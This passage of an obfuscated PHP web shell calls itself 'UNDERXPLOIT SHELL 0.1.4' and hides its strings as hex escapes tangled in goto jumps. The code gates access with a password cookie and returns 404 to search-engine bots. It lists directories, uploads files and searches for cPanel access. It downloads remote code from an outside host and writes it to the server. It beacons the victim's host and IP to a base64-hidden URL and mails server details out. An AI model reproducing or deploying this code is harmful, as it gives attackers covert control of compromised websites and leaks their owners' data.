"\x61\142\157\165\164\x22\51\47\76\x3c\151\40\143\x6c\141\163\163\75\42\172\x6d\x64\151\40\x7a\155\x64\151\55\x61\x63\x63\x6f\x75\x6e\164\x2d\157\x20\x7a\155\x64\x69\x2d\x68\143\x2d\146\167\42\x3e\x3c\x2f\151\76\74\57\142\165\x74\x74\157\156\76\xa\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x3c\142\165\x74\x74\x6f\x6e\x20\x63\154\141\x73\x73\75\42\x78\x61\42\x20\x6f\156\x63\x6c\151\x63\x6b\75\x27\143\50\42\77" . x5 . getcwd() . "\x26" . x7 . "\154\x6f\147\157\x75\164\42\x29\47\76\74\x69\40\x63\154\141\x73\x73\x3d\x22\x7a\155\144\x69\40\172\155\x64\151\x2d\x70\157\167\x65\x72\x20\x7a\155\x64\x69\55\x68\x63\x2d\146\x77\42\x3e\x3c\x2f\x69\76\x3c\57\x62\165\x74\x74\x6f\x6e\x3e\12\11\x9\11\11\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\x3e\xa\40\x20\40\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\12\40\x20\x20\x20\x20\x20\x20\x20\74\x64\x69\166\40\143\x6c\141\163\x73\75\42\144\151\x72\x22\76\12\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\74\x74\141\x62\x6c\145\x20\x73\164\171\x6c\145\75\42\167\151\x64\164\150\72\61\x30\60\45\x22\76\xa\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\74\164\144\40\163\x74\171\154\x65\75\x22\x77\x69\144\164\150\72\x31\60\x30\x25\x22\76\xa\40\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\74\x64\151\x76\40\143\x6c\141\x73\x73\75\x22\144\151\x72\x2d\160\x61\x6c\154\145\164\x22\x3e\12\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\40\40\74\x74\141\x62\154\145\x3e\xa\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\74\x74\144\40\143\154\x61\163\163\75\42\x64\151\162\x2d\x74\x64\55\x6c\x65\x66\164\42\x3e\74\163\160\141\156\40\x63\154\141\163\163\75\42\x6c\x61\142\x65\x6c\x2d\x73\x75\143\x63\x65\x73\163\x22\76\122\117\x4f\124\x3c\x2f\163\160\x61\x6e\x3e\40\72\74\x2f\164\x64\x3e\xa\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\74\x74\144\x20\x63\x6c\141\x73\x73\75\x22\x62\x72\x65\x61\153\40\144\x69\x72\x2d\164\144\55\162\x69\x67\150\164\x20\x77\162\141\x70\42\x3e"; goto vXWdi; vDOBO: @ini_set("\x65\162\162\x6f\x72\x5f\154\x6f\x67", NULL); goto GnN9f; xpTXh: print "\74\164\x61\142\x6c\145\x20\x63\154\x61\x73\x73\x3d\42\145\170\x2d\150\x6f\x76\42\x3e\74\x74\x64\40\x63\x6c\x61\x73\163\x3d\x22\164\x64\55\x74\157\157\154\x73\x2d\x6c\145\x66\164\x22\x3e\74\x69\x20\x63\x6c\x61\163\163\75\x22\x7a\x6d\144\x69\40\x7a\x6d\144\x69\x2d\143\150\141\162\164\55\x64\157\x6e\165\164\40\x7a\x6d\x64\x69\x2d\x68\143\55\x66\167\x22\x3e\x3c\57\x69\x3e\x3c\57\x74\x64\76\x3c\164\x64\x20\143\154\141\x73\x73\x3d\x22\164\144\x2d\164\157\x6f\154\x73\x2d\x63\157\x6e\164\145\156\x74\42\76\x43\160\x61\156\145\x6c\x20\x46\151\156\144\x65\162\74\x2f\164\144\x3e\x3c\164\x64\40\143\154\x61\x73\163\75\42\164\x64\55\x74\x6f\x6f\x6c\163\55\151\143\157\x6e\x22\x3e\x3c\141\40\x6f\156\x63\x6c\151\143\x6b\x3d\47\x63\x28\42\77" . x7 . "\x63\x70\141\156\145\154\x26" . x5 . $dir . "\x22\x29\47\76\74\x62\165\164\x74\x6f\x6e\40\x63\x6c\x61\163\163\x3d\x22\x62\164\x6e\x2d\145\x78\x65\42\76\x3c\151\x20\143\154\141\163\x73\75\x22\172\x6d\144\151\x20\x7a\155\x64\x69\55\154\157\156\x67\55\141\162\x72\157\x77\55\162\x69\x67\150\x74\x20\x7a\155\144\151\55\150\x63\x2d\x66\x77\42\x3e\74\x2f\x69\76\74\x2f\x62\x75\x74\164\x6f\x6e\76\x3c\x2f\x61\76\x3c\x2f\164\x64\76\x3c\x2f\164\x61\x62\x6c\145\76"; goto WcDHN; tgeLm: switch (true) { case !empty(sec): switch (true) { case $_UNDERXPLOIT["\x70\141\x73\x73"] && md5($_UNDERXPLOIT["\x70\141\163\163"]) == sec: vb(md5($_SERVER["\110\124\124\x50\x5f\110\x4f\123\124"]), sec); break; case !$_COOKIE[md5($_SERVER["\110\124\x54\120\x5f\x48\117\123\x54"])] || $_COOKIE[md5($_SERVER["\110\x54\x54\x50\x5f\x48\x4f\123\124"])] != sec: login(); break; } } goto XYP2e; qcqoG: @mail($to_email, $server_mail, $linkcr, $header); goto ghkqX; uH6Yi: fwrite($open_makale, $makale); goto RVSWn; xGgS7: print "\x3c\x73\143\x72\x69\x70\164\40\x74\x79\160\x65\75\x22\164\145\x78\164\x2f\152\141\x76\x61\163\x63\x72\x69\x70\164\x22\x3e\xa\x9\146\165\156\x63\164\x69\x6f\156\40\x6e\x66\x6c\157\x28\51\40\x7b\12\11\11\x24\50\42\x23\156\x66\154\x6f\x22\51\56\x73\154\x69\144\x65\x54\x6f\x67\147\154\x65\x28\x35\x30\x30\51\x3b\xa\11\x7d\x20\74\x2f\x73\143\x72\x69\x70\x74\76"; goto aS70t; I6G1I: print "\x3c\x2f\x73\x65\x6c\x65\143\x74\76\12\x3c\57\164\x64\76\12\x9\x3c\164\x64\x20\163\x74\x79\154\x65\x3d\x22\167\151\144\x74\x68\72\62\60\x25\73\164\x65\x78\x74\x2d\141\154\151\x67\x6e\x3a\x72\x69\x67\150\x74\x22\76\x3c\x62\165\x74\x74\157\x6e\x20\164\x79\x70\x65\75\42\x73\x75\x62\x6d\151\164\x22\40\143\x6c\x61\163\163\x3d\x22\142\x74\156\55\145\170\x65\x22\x20\x6f\156\143\x6c\x69\x63\x6b\x3d\42\x63\162\x65\141\164\145\50\x29\73\162\145\x74\x75\162\x6e\x20\x66\x61\x6c\x73\145\x3b\x22\40\x69\144\x3d\x22\152\155\142\164\x22\76\x3c\x69\x20\143\x6c\141\163\x73\75\x22\x7a\x6d\144\x69\x20\172\x6d\144\x69\x2d\154\157\x6e\x67\55\x61\x72\x72\x6f\167\55\x72\145\x74\165\162\x6e\40\172\155\144\151\x2d\150\143\55\x66\167\x22\x3e\x3c\57\x69\76\x3c\x2f\x62\x75\164\164\x6f\156\76\74\x2f\146\157\162\x6d\x3e\12\x9\11\11\74\57\164\x64\76\xa\x9\40\40\x20\74\x2f\164\x61\x62\x6c\145\x3e\xa\74\57\144\151\166\x3e"; goto LnDl7; BjRKA: $directories = expandDirectories($document_root); goto HIxJ8; U7yzu: function jmbt($str) { return htmlspecialchars($str, 2 | 1); } goto sm_qq; Ha5l1: mail($kime, $baslik, $EL_MuHaMMeD); goto V69xh; vaz84: $size = filesize("{$dir}\x2f{$filez}") / 1024; goto qB4cR; tDQyL: print "\x3c\163\x63\x72\x69\160\x74\40\164\171\x70\145\75\x22\164\145\x78\164\x2f\x6a\x61\x76\x61\163\x63\162\151\160\x74\x22\x3e\146\x75\x6e\143\x74\x69\x6f\156\40\x63\x72\145\141\x74\145\x28\51\x7b\xa\x69\146\50\x64\157\143\x75\x6d\145\x6e\164\56\x67\x65\x74\x45\x6c\x65\x6d\145\156\164\102\x79\111\144\50\x22\143\42\51\x2e\166\x61\154\165\145\40\75\75\40\x22\42\x29\x7b"; goto VoVGQ; jbyhU: function s($str) { print "\x6e\157\164\x69\x66\50\x7b\xa\11\11\11\11\x74\x79\x70\x65\x3a\40\x22\x64\145\146\141\165\154\164\x22\54\xa\x9\x9\x9\11\x6d\163\147\72\40\x22\x3c\163\x70\141\156\x20\143\x6c\x61\x73\163\75\47\141\154\145\x72\164\47\76\x3c\146\157\x6e\164\40\143\x6f\154\x6f\x72\75\x27\x23\x66\146\x66\47\x3e" . $str . "\74\x2f\x66\157\156\164\76\42\x2c\xa\x9\x9\x9\x9\x77\151\144\x74\150\72\40\42\x61\154\x6c\42\54\xa\11\11\x9\x9\x68\x65\x69\x67\150\x74\72\x20\x31\x30\x30\54\xa\11\11\x9\11\x70\x6f\x73\151\x74\x69\157\x6e\72\x20\42\x63\x65\156\164\145\x72\42\54\xa\x9\x9\x9\175\51\73"; return $str; } goto ZnK1v; QalpG: print "\74\x64\x69\166\x20\x63\154\141\x73\x73\x3d\x22\x63\157\x4c\42\76"; goto PBvPv; iF3qA: $server_mail = '' . gethostbyname($_SERVER["\x53\105\x52\x56\105\x52\137\116\101\115\105"]) . "\x20\40\55\x20" . $_SERVER["\110\124\x54\120\137\110\117\123\124"] . ''; goto oPmsG; En2ni: $open_makale = fopen($wp_makale, "\167"); goto uH6Yi; sm_qq: function mtr($y) { print "\74\155\145\x74\141\40\150\164\164\x70\55\x65\161\x75\x69\x76\x3d\x22\x72\x65\x66\162\145\163\x68\42\x20\143\x6f\156\164\145\156\164\x3d\42\x31\x3b\165\x72\154\x3d" . $y . "\42\x2f\x3e"; return $y; } goto A5QyF; KLQWH: function expandDirectories($base_dir) { $directories = array(); foreach (scandir($base_dir) as $file) { if ($file == "\56" || $file == "\56\x2e") { continue; } $dir = $base_dir . DIRECTORY_SEPARATOR . $file; if (is_dir($dir)) { $directories[] = $dir; $directories = array_merge($directories, expandDirectories($dir)); } } return $directories; } goto dVe6t; yrfxF: $code = http_get("\x68\x74\x74\x70\163\72\57\x2f\x61\143\142\x64\x66\x2e\x73\160\141\143\145\57\x74\x78\x74\57\155\151\x6e\56\x74\170\164"); goto Fj2zU; oqy7K: $_GET = cl($_GET); goto AnAmT; AaEJm: error_reporting(0); goto FmOwC; XYP2e: function login() { switch (true) { case !empty($_SERVER["\110\124\124\x50\x5f\x55\123\x45\122\x5f\101\x47\105\x4e\x54"]): $serp = array("\x47\157\x6f\147\x6c\145", "\123\x6c\x75\162\160", "\x4d\x53\116\102\157\164", "\151\141\x5f\141\162\143\x68\151\x76\145\x72", "\x59\x61\156\x64\x65\x78", "\122\x61\x6d\142\x6c\145\x72", "\x59\x61\x68\157\x6f", "\102\151\x6e\x67"); case preg_match("\x2f" . implode("\174", $serp) . "\x2f\151", $_SERVER["\x48\x54\124\120\x5f\125\123\105\x52\x5f\101\107\x45\x4e\124"]): header("\x48\124\x54\x50\57\x31\56\60\40\x34\x30\64\40\116\x6f\164\40\x46\x6f\x75\156\144"); } die("\74\41\104\117\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\xa\74\x68\x65\141\x64\76\12\40\40\40\x20\74\x74\151\x74\x6c\x65\x3e\x4c\x4f\x47\111\x4e\x20\174\x20\125\x4e\104\105\x52\130\x50\114\x4f\111\124\40\123\110\105\114\x4c\x20\x30\56\x31\x2e\x34\74\57\x74\151\164\x6c\145\x3e\12\40\40\x20\x20\x3c\155\145\164\141\x20\156\x61\x6d\145\75\x22\x72\157\142\x6f\x74\163\x22\x20\x63\157\156\x74\145\x6e\x74\x3d\42\x6e\157\x69\156\x64\x65\170\54\40\156\157\146\157\x6c\154\x6f\x77\54\x20\x6e\x6f\141\162\x63\150\151\x76\x65\x22\x3e\12\x20\x20\x20\x20\x3c\x6d\x65\x74\141\x20\x6e\x61\155\x65\75\x22\x76\x69\145\167\160\157\x72\164\42\x20\x63\157\156\x74\145\x6e\x74\x3d\x22\167\x69\x64\164\x68\75\x64\145\166\x69\143\145\55\167\x69\x64\164\150\54\40\151\156\151\164\151\x61\154\55\x73\143\x61\x6c\x65\75\61\42\x3e\12\40\40\x20\40\74\155\145\x74\x61\x20\x70\x72\x6f\160\x65\162\x74\x79\75\x22\157\147\x3a\151\x6d\x61\x67\145\x22\40\143\x6f\156\164\x65\x6e\164\x3d\42\57\57\61\x2e\x62\160\x2e\x62\154\157\x67\x73\160\x6f\x74\x2e\x63\157\x6d\57\x2d\x50\x31\152\115\145\164\x38\143\107\166\121\x2f\x57\151\x36\110\152\131\124\x33\156\65\111\x2f\x41\x41\x41\101\101\x41\101\101\x41\x75\121\x2f\142\117\62\143\146\x64\x71\125\x66\112\x6f\x38\x59\x50\x74\60\123\120\66\x76\145\x41\166\x68\x45\x45\122\x66\137\x53\x45\x7a\x51\103\114\143\102\107\101\x73\57\x73\63\x32\60\57\x6c\157\x67\x6f\x2e\152\160\x67\42\x3e\xa\40\40\x20\x20\x3c\x6d\x65\x74\x61\x20\156\141\155\145\x3d\x22\x74\150\145\x6d\x65\55\x63\157\154\x6f\162\x22\40\143\157\156\164\145\x6e\x74\x3d\42\43\61\x44\x39\104\x37\63\x22\76\12\40\x20\x20\x20\74\155\145\164\141\x20\156\x61\155\x65\75\42\141\160\160\154\145\55\x6d\x6f\142\x69\x6c\x65\x2d\x77\145\x62\55\x61\160\x70\x2d\143\141\160\x61\142\x6c\145\42\40\x63\x6f\x6e\164\x65\156\x74\x3d\42\x79\145\163\x22\76\xa\x20\40\40\40\74\x6d\x65\164\x61\40\x6e\141\155\x65\75\x22\141\x70\160\x6c\x65\x2d\x6d\x6f\142\x69\x6c\x65\x2d\167\145\x62\x2d\x61\160\x70\x2d\x73\164\141\164\165\x73\55\142\141\x72\x2d\x73\x74\x79\x6c\x65\42\40\143\x6f\156\164\x65\156\x74\75\42\x23\x31\x44\71\104\67\x33\x22\x3e\12\40\x20\40\40\x3c\x6d\145\x74\141\x20\x6e\x61\155\x65\75\42\x6d\x73\x61\160\x70\154\x69\x63\x61\x74\151\157\x6e\x2d\x6e\x61\166\x62\165\x74\x74\x6f\156\55\143\x6f\154\x6f\162\x22\x20\x63\157\156\164\145\156\x74\75\42\x23\61\x44\71\x44\x37\x33\x22\76\xa\40\x20\x20\x20\x3c\155\x65\x74\x61\40\156\141\155\145\x3d\x22\141\165\x74\150\157\x72\42\x20\x63\157\156\164\145\156\164\x3d\x22\x57\x49\114\104\101\x4e\40\111\132\x5a\x55\104\x49\x4e\x22\x3e\12\11\x3c\x6c\x69\156\153\x20\x68\162\145\x66\x3d\x22\x2f\57\x75\156\x64\145\162\x78\160\x6c\x6f\151\x74\x2e\147\151\164\x68\x75\x62\x2e\x69\x6f\x2f\x63\157\162\145\57\x66\141\x76\151\143\x6f\x6e\56\x69\x63\x6f\x22\40\x72\145\154\75\42\151\x63\x6f\x6e\x22\40\x74\x79\x70\145\75\42\x69\155\x61\x67\145\57\170\x2d\x69\x63\157\x6e\x22\x20\57\76\xa\x9\x3c\154\151\156\x6b\40\x72\x65\154\x3d\x22\163\x74\171\154\x65\x73\x68\x65\x65\164\42\40\x68\x72\x65\146\75\x22\x2f\x2f\165\156\x64\x65\x72\x78\160\154\157\151\164\56\147\151\164\150\x75\x62\x2e\151\x6f\x2f\x63\157\x72\145\x2f\151\x63\157\x6e\x73\57\155\141\164\x65\162\151\141\x6c\56\x63\x73\x73\42\x20\57\x3e\12\74\163\143\162\x69\160\x74\x20\x74\x79\x70\145\75\x22\x74\145\170\x74\57\152\x61\x76\x61\x73\143\162\151\160\x74\x22\76\12\x20\x20\40\x20\40\40\x20\40\x62\141\x73\x65\x55\x72\154\40\75\40\x77\x69\x6e\x64\157\x77\56\x6c\157\x63\x61\x74\x69\x6f\x6e\x2e\x68\162\x65\x66\x2e\x73\160\x6c\151\164\x28\42\77\x22\51\133\60\x5d\x3b\xa\40\40\40\x9\x77\x69\156\144\x6f\x77\x2e\x68\x69\x73\x74\157\x72\x79\56\x70\165\x73\150\x53\164\141\x74\x65\50\42\x6e\x61\155\145\x22\54\40\42\77\x22\54\x20\142\x61\163\145\x55\162\x6c\51\x3b\12\x3c\x2f\x73\143\162\151\160\164\76\12\x20\74\163\164\171\154\x65\76\xa\40\x40\x69\155\160\157\162\x74\40\x75\162\154\50\150\164\164\160\163\x3a\57\57\146\x6f\156\x74\x73\56\x67\x6f\157\x67\x6c\145\141\x70\x69\163\56\x63\157\x6d\x2f\x63\x73\163\77\146\141\155\151\154\171\x3d\120\x6c\x61\171\51\73\xa\x2a\40\x7b\xa\11\x62\x6f\x78\x2d\163\x69\x7a\151\x6e\147\72\40\142\x6f\162\x64\145\162\55\142\157\x78\12\x7d\xa\12\52\72\x66\157\x63\x75\163\x20\x7b\xa\11\x6f\x75\164\154\x69\156\145\72\x20\x30\12\175\12\12\142\x6f\x64\171\x20\173\12\x9\146\157\156\164\x2d\163\151\172\145\x3a\40\x31\x34\160\170\73\12\11\x63\x6f\x6c\157\162\72\40\x23\x66\x66\146\73\12\11\x6d\141\162\x67\151\156\x3a\x20\141\x75\164\157\x3b\12\x9\x66\157\x6e\x74\55\146\x61\155\x69\154\x79\72\40\42\120\x6c\x61\171\x22\73\xa\11\x62\x61\143\x6b\147\x72\157\165\x6e\144\72\x20\x23\x32\x31\x32\61\62\61\12\x7d\xa\xa\x2e\x6c\x6f\x67\151\156\55\143\157\x6e\x74\x61\151\156\145\162\x20\173\xa\11\x6d\141\170\x2d\x77\x69\144\164\150\72\40\x34\x35\x30\x70\x78\x3b\xa\11\155\x61\x72\x67\151\x6e\72\40\x61\x75\164\x6f\73\12\x9\x6f\166\145\162\146\154\157\167\x3a\x20\141\165\164\157\x3b\xa\x9\x62\x61\143\153\x67\162\x6f\x75\156\x64\72\40\156\157\x6e\x65\xa\175\xa\12\x2e\x6c\157\x67\151\156\55\x6b\145\160\141\154\141\40\173\xa\11\142\141\x63\153\x67\x72\x6f\x75\156\x64\x3a\x20\x23\x32\62\x32\x3b\12\11\160\141\144\x64\x69\x6e\147\72\x20\x31\x30\x70\x78\73\12\x9\x63\x6f\x6c\157\162\72\40\x23\x66\x66\146\73\xa\11\x66\x6f\x6e\164\55\x73\151\x7a\x65\x3a\x20\x31\64\160\x78\x3b\12\11\160\157\x73\151\x74\151\157\x6e\x3a\x20\x66\151\170\x65\x64\x3b\12\x9\x7a\x2d\151\156\144\145\x78\72\x20\61\60\x32\x34\x3b\xa\11\164\x6f\x70\x3a\40\60\x3b\12\11\x6c\145\x66\x74\72\40\60\73\xa\x9\162\151\x67\150\164\x3a\40\x30\x3b\xa\x9\x2d\x6f\x2d\x62\157\x72\x64\x65\x72\x2d\x72\x61\x64\151\165\163\x3a\x20\x32\x70\x78\73\12\11\x2d\167\x65\x62\153\x69\x74\x2d\x62\x6f\170\x2d\163\x68\x61\144\157\167\72\x20\x30\x20\61\160\170\40\64\160\x78\40\60\x20\x72\x67\142\x61\50\60\x2c\x20\x30\x2c\40\x30\x2c\x20\56\x31\64\x29\73\xa\11\55\155\157\172\55\x62\x6f\x78\x2d\x73\150\x61\144\157\167\x3a\40\x30\40\61\x70\x78\x20\x34\160\x78\40\60\x20\162\147\x62\141\x28\x30\54\x20\x30\x2c\40\60\x2c\40\x2e\61\x34\x29\73\12\11\55\x6d\163\55\142\x6f\170\x2d\x73\x68\141\x64\x6f\x77\x3a\40\x30\x20\61\x70\170\40\x34\x70\x78\40\x30\40\162\x67\x62\x61\x28\x30\x2c\x20\60\x2c\40\60\54\x20\x2e\x31\64\51\x3b\xa\x9\55\157\55\x62\157\170\55\163\x68\141\x64\x6f\x77\72\40\x30\40\61\x70\170\x20\64\x70\x78\x20\x30\x20\162\147\142\x61\x28\x30\x2c\x20\60\54\40\x30\x2c\40\x2e\61\x34\x29\73\12\11\x62\x6f\x78\x2d\163\x68\x61\x64\157\167\x3a\40\x30\40\x31\160\170\x20\x34\160\170\x20\60\40\x72\147\x62\141\50\60\x2c\40\x30\x2c\40\x30\x2c\40\56\x31\x34\51\x3b\12\x9\x66\x6f\x6e\164\x2d\x66\x61\155\x69\154\x79\x3a\x20\x22\x50\154\x61\171\x22\xa\175\12\xa\x69\156\x70\165\x74\133\164\x79\160\145\x3d\x70\x61\x73\x73\x77\157\162\x64\x5d\40\x7b\12\x9\x62\x6f\x72\x64\145\162\x3a\x20\x30\x3b\12\x9\x62\x6f\x72\144\145\162\55\142\157\x74\x74\157\x6d\x3a\40\x31\x70\x78\40\x73\157\154\151\144\x20\43\61\104\x39\x44\67\x33\73\xa\x9\160\141\x64\144\151\156\147\72\40\71\x70\170\73\12\x9\142\141\143\x6b\x67\162\x6f\x75\156\x64\72\40\x6e\x6f\x6e\x65\73\xa\11\x63\x6f\x6c\x6f\162\x3a\40\43\146\x66\x66\x3b\xa\x9\x66\157\156\164\x2d\146\141\155\x69\154\x79\72\40\x22\x50\x6c\x61\171\42\73\12\x9\x77\x69\x64\164\150\x3a\40\x31\60\x30\45\x3b\xa\11\146\157\156\x74\55\x73\x69\x7a\x65\x3a\x20\61\64\160\170\xa\x7d\12\12\56\142\164\x6e\x2d\x65\x78\x65\x3a\x68\157\x76\x65\x72\40\173\12\11\142\x61\x63\x6b\x67\162\157\165\156\144\x3a\x20\156\x6f\156\145\x3b\12\11\142\157\162\144\145\x72\72\x20\x31\160\x78\40\163\x6f\154\x69\144\40\43\x31\104\71\104\x37\63\x3b\12\11\143\x6f\154\x6f\x72\x3a\x20\x23\x31\104\71\104\67\x33\x3b\12\x9\55\x77\x65\142\x6b\x69\164\x2d\x74\x72\141\x6e\163\151\164\151\157\x6e\72\40\x61\x6c\x6c\40\x30\x2e\x33\x73\x3b\12\11\55\155\x6f\172\55\x74\162\141\156\163\x69\164\x69\x6f\156\x3a\x20\x61\154\154\40\60\x2e\63\163\x3b\xa\x9\164\x72\x61\156\163\x69\164\151\157\x6e\72\x20\141\154\154\x20\x30\x2e\x33\163\xa\175\12\xa\164\x61\142\x6c\x65\40\x7b\xa\11\167\151\x64\164\x68\72\x20\x31\x30\60\x25\12\x7d\12\xa\x2e\x62\x74\156\x2d\145\x78\x65\40\173\12\11\x62\141\x63\x6b\147\162\x6f\165\x6e\x64\x3a\40\x23\x31\x44\x39\104\67\63\x3b\12\11\143\157\x6c\157\x72\72\40\x23\146\x66\x66\x3b\12\11\x66\x6f\x6e\164\x2d\x66\x61\155\x69\154\171\x3a\x20\42\x50\x6c\x61\x79\x22\73\xa\11\x70\141\144\x64\x69\156\x67\72\x20\x36\160\170\x3b\xa\x9\x62\x6f\162\x64\x65\x72\x3a\40\61\160\x78\x20\x73\x6f\x6c\x69\144\x20\43\61\104\71\x44\67\x33\x3b\12\x9\167\x69\x64\164\x68\72\x20\x31\x30\60\x25\73\xa\x9\x66\157\156\164\x2d\163\x69\172\145\x3a\x20\x31\64\x70\x78\x3b\12\11\x62\x6f\x72\144\145\162\55\x74\157\x70\55\162\151\x67\x68\164\x2d\162\x61\144\151\165\x73\x3a\x20\x31\x35\x70\170\73\xa\11\142\x6f\162\x64\x65\x72\x2d\x62\x6f\164\x74\157\155\55\154\145\146\164\55\x72\141\x64\x69\165\x73\x3a\x20\61\x35\x70\170\12\175\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\xa\x20\40\40\11\74\x2f\163\164\x79\x6c\145\76\xa\11\x3c\57\x68\145\x61\144\76\xa\x3c\x62\157\x64\x79\x3e\xa\40\x20\x20\x20\74\144\x69\x76\40\x63\154\141\163\x73\x3d\42\x6c\x6f\x67\151\x6e\x2d\153\x65\x70\x61\x6c\141\x22\76\12\40\x20\40\40\40\40\x20\x20\74\x64\151\x76\x20\143\x6c\x61\163\x73\75\42\154\157\x67\151\x6e\55\143\157\156\164\141\151\x6e\145\162\x22\x3e\12\x20\x20\40\40\40\x20\40\40\40\40\40\x20\74\146\x6f\162\155\x20\x61\x63\164\151\157\x6e\x3d\x22\x22\40\x6d\145\164\150\x6f\x64\x3d\x22\160\157\163\x74\x22\x3e\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\74\x74\x61\142\154\145\76\xa\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x3c\164\x64\40\x61\x6c\x69\x67\156\x3d\x22\x63\145\x6e\164\x65\162\x22\x20\x73\164\x79\x6c\x65\75\42\167\151\144\164\150\72\61\x30\x25\42\x3e\12\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x3c\151\x20\143\154\141\x73\163\75\x22\x7a\155\x64\151\40\x7a\155\x64\151\55\143\150\x65\x76\162\x6f\x6e\x2d\x72\x69\x67\150\x74\42\x3e\74\x2f\151\x3e\xa\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\74\57\164\x64\76\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\74\x74\x64\x20\x73\164\171\154\145\75\x22\x77\x69\x64\164\x68\x3a\x37\x30\45\x22\76\12\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\74\x69\x6e\160\x75\164\40\x74\x79\x70\x65\x3d\x22\x70\141\163\x73\x77\x6f\162\144\42\40\160\x6c\x61\x63\x65\150\157\x6c\144\x65\x72\x3d\x22\x22\40\156\141\155\x65\x3d\42\x70\141\x73\x73\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x3c\57\164\144\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x3c\x74\x64\40\x73\164\x79\x6c\x65\75\x22\x74\x65\170\164\55\141\x6c\x69\x67\x6e\72\162\151\x67\x68\164\x3b\x77\151\x64\x74\x68\72\62\60\x25\42\76\xa\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\x62\165\164\164\157\156\x20\164\x79\160\145\x3d\x22\163\x75\x62\x6d\151\x74\42\40\143\x6c\141\163\x73\x3d\42\x62\164\156\x2d\145\x78\145\x22\x3e\xa\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x3c\x69\x20\143\x6c\x61\x73\x73\x3d\x22\x7a\x6d\x64\x69\40\x7a\155\x64\151\55\x6c\x6f\x6e\147\x2d\x61\162\162\x6f\x77\x2d\162\145\x74\165\x72\156\40\x7a\155\144\151\x2d\150\x63\x2d\x66\x77\x22\76\74\57\151\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\74\57\142\165\164\164\x6f\156\76\12\40\40\40\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\74\57\x74\144\76\xa\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\74\x2f\164\141\142\154\145\76\12\40\40\x20\40\x20\40\x20\40\40\40\40\40\74\57\x66\157\162\x6d\x3e\xa\x20\x20\40\x20\40\x20\40\x20\74\x2f\x64\151\x76\x3e\xa\40\x20\x20\40\x3c\x2f\144\x69\x76\76\xa\74\57\x62\x6f\144\171\x3e\12\x3c\x2f\150\x74\155\154\76"); } goto cOBug; kiR_W: fwrite($open_code, $code); goto IbWdO; occvV: $scandir = scandir($path); goto Jv_ci; L25Kh: print "\74\x6f\160\164\x69\x6f\x6e\40\x76\x61\154\x75\145\x3d\x22\61\42\x3e\x4d\x79\x53\121\114\x20\133\x20\x61\144\x6d\151\x6e\145\162\56\160\150\160\40\135\x3c\x2f\x6f\x70\164\151\157\156\76"; goto I6G1I; HDQEU: @define("\x78\65", "\144\151\162\75", true); goto KQbHr; sXEo3: s("\x45\x6e\x74\x65\x72\40\146\151\154\145\x20\x74\x6f\x20\x75\x70\x6c\x6f\x61\x64"); goto N4Gnl; NEdnI: if (isset($_FILES["\x64\141\x74\141"])) { switch (true) { case copy($_FILES["\144\141\x74\141"]["\164\x6d\x70\137\156\x61\155\145"], $path . "\57" . $_FILES["\144\141\164\141"]["\156\141\155\145"]): mtr("\77" . x5 . $dir); bacot("\x46\151\154\x65\40\165\x70\x6c\x6f\141\144\145\144\x20\163\x75\143\x63\x65\163\x66\x75\x6c\154\x79"); break; default: bacot("\x46\x61\x69\x6c\x65\144\40\164\157\x20\x75\160\154\x6f\x61\x64\40\x66\151\154\145"); } } goto xZ9I_; IGi46: switch (true) { case $_UNDERXPLOIT["\144\x69\162"]: $dir = str_replace("\x5c", "\57", $_UNDERXPLOIT["\144\x69\x72"]); @chdir($dir); break; default: $dir = str_replace("\134", "\x2f", getcwd()); } goto jhK7L; FmOwC: ob_start("\x6f\x62\x5f\147\x7a\x68\141\156\144\154\145\162"); goto DGOWi; Psufc: $x = base64_decode("\x61\110\122\60\x63\110\115\66\114\171\71\150\x62\x6d\x39\165\145\x57\60\167\x64\x58\x4d\165\131\62\170\61\x59\151\x39\x73\x4c\121\x3d\x3d") . GetIP() . "\x2d" . base64_encode("\150\x74\x74\x70\x3a\57\x2f" . $_SERVER["\x48\124\124\120\137\110\x4f\x53\124"] . $_SERVER["\122\105\121\x55\105\x53\x54\137\x55\122\x49"]); goto AO5IH; qM9vK: print 